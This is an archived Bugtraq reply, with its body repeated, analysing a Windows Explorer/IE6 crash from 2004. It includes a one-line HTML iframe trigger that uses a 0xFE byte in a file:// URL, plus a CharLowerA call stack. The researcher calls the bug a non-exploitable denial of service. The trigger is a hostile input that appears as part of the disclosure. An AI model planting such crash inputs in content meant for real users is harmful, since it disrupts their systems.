Berend-Jan Wever
22/12/04, 03:55
Tested on win2ksp4, IE6.0sp1 fully patched (hmmm... not really "fully" =
obviously ;))
It's a DoS, nothing exploitable. Explorer let's IE do the rendering in =
"thumbnail" previes mode. IE creates a HTML page and crashes while =
creating or rendering it. Same bug can be triggered easier with =
following HTML code:
<HTLM><BODY><IFRAME src=3D"file://=FE:/filename"></BODY></HTML>
CharLowerA doesn't handle the 0xFE byte very well since it is converted =
to a signed int (0xFFFFFFFE). It then scans memory at 0xFFFFFFFE which =
causes an exception.
Call stack of main thread
Address Stack Procedure / arguments Called from =
Frame
0012A2D8 1A441D6D USER32.CharLowerA =
urlmon.1A441D67 0012A2D4
0012A2DC FFFFFFFE StringOrChar =3D FE ('=FE')
0012A2E4 1A442F6E urlmon.1A441D5E =
urlmon.1A442F69 0012A440
0012A444 1A4464AC urlmon.1A442D7F =
urlmon.1A4464A7 0012A440
0012A708 636076D2 Includes urlmon.1A4464AC =
mshtml.636076CF 0012A704
0012C730 637A9D9E mshtml.636075B0 =
mshtml.637A9D99 0012C72C
0012E78C 637AA644 mshtml.637A9B52 =
mshtml.637AA63F 0012E788
0012E7FC 63795160 mshtml.637AA363 =
mshtml.6379515B 0012E7F8
0012E800 63789AE1 Includes mshtml.63795160 =
mshtml.63789ADE
Cheers,
Berend-Jan Wever
<skylined@edup.tudelft.nl>
http://www.edup.tudelft.nl/~bjwever
SkyLined in #SkyLined on EFNET
PGP key ID: 0x48479882
----- Original Message -----=20
From: "Bill" <Bill@vectracon.com>
To: <bugtraq@securityfocus.com>
Sent: Sunday, December 19, 2004 00:57
Subject: Windows Explorer TGA Crash
> I've found a TGA file that crashes Windows Explorer when Explorer =
tries=20
> to generate a preview for it. I'm not expert in this area, so I don't=20
> know if this could be used as a way to run arbitrary code. However =
I've=20
> attached the broken TGA, in zip format, in hopes that someone else can =
> figure out what this does.
>=20
> ~Bill
>
obviously ;))
It's a DoS, nothing exploitable. Explorer let's IE do the rendering in =
"thumbnail" previes mode. IE creates a HTML page and crashes while =
creating or rendering it. Same bug can be triggered easier with =
following HTML code:
<HTLM><BODY><IFRAME src=3D"file://=FE:/filename"></BODY></HTML>
CharLowerA doesn't handle the 0xFE byte very well since it is converted =
to a signed int (0xFFFFFFFE). It then scans memory at 0xFFFFFFFE which =
causes an exception.
Call stack of main thread
Address Stack Procedure / arguments Called from =
Frame
0012A2D8 1A441D6D USER32.CharLowerA =
urlmon.1A441D67 0012A2D4
0012A2DC FFFFFFFE StringOrChar =3D FE ('=FE')
0012A2E4 1A442F6E urlmon.1A441D5E =
urlmon.1A442F69 0012A440
0012A444 1A4464AC urlmon.1A442D7F =
urlmon.1A4464A7 0012A440
0012A708 636076D2 Includes urlmon.1A4464AC =
mshtml.636076CF 0012A704
0012C730 637A9D9E mshtml.636075B0 =
mshtml.637A9D99 0012C72C
0012E78C 637AA644 mshtml.637A9B52 =
mshtml.637AA63F 0012E788
0012E7FC 63795160 mshtml.637AA363 =
mshtml.6379515B 0012E7F8
0012E800 63789AE1 Includes mshtml.63795160 =
mshtml.63789ADE
Cheers,
Berend-Jan Wever
<skylined@edup.tudelft.nl>
http://www.edup.tudelft.nl/~bjwever
SkyLined in #SkyLined on EFNET
PGP key ID: 0x48479882
----- Original Message -----=20
From: "Bill" <Bill@vectracon.com>
To: <bugtraq@securityfocus.com>
Sent: Sunday, December 19, 2004 00:57
Subject: Windows Explorer TGA Crash
> I've found a TGA file that crashes Windows Explorer when Explorer =
tries=20
> to generate a preview for it. I'm not expert in this area, so I don't=20
> know if this could be used as a way to run arbitrary code. However =
I've=20
> attached the broken TGA, in zip format, in hopes that someone else can =
> figure out what this does.
>=20
> ~Bill
>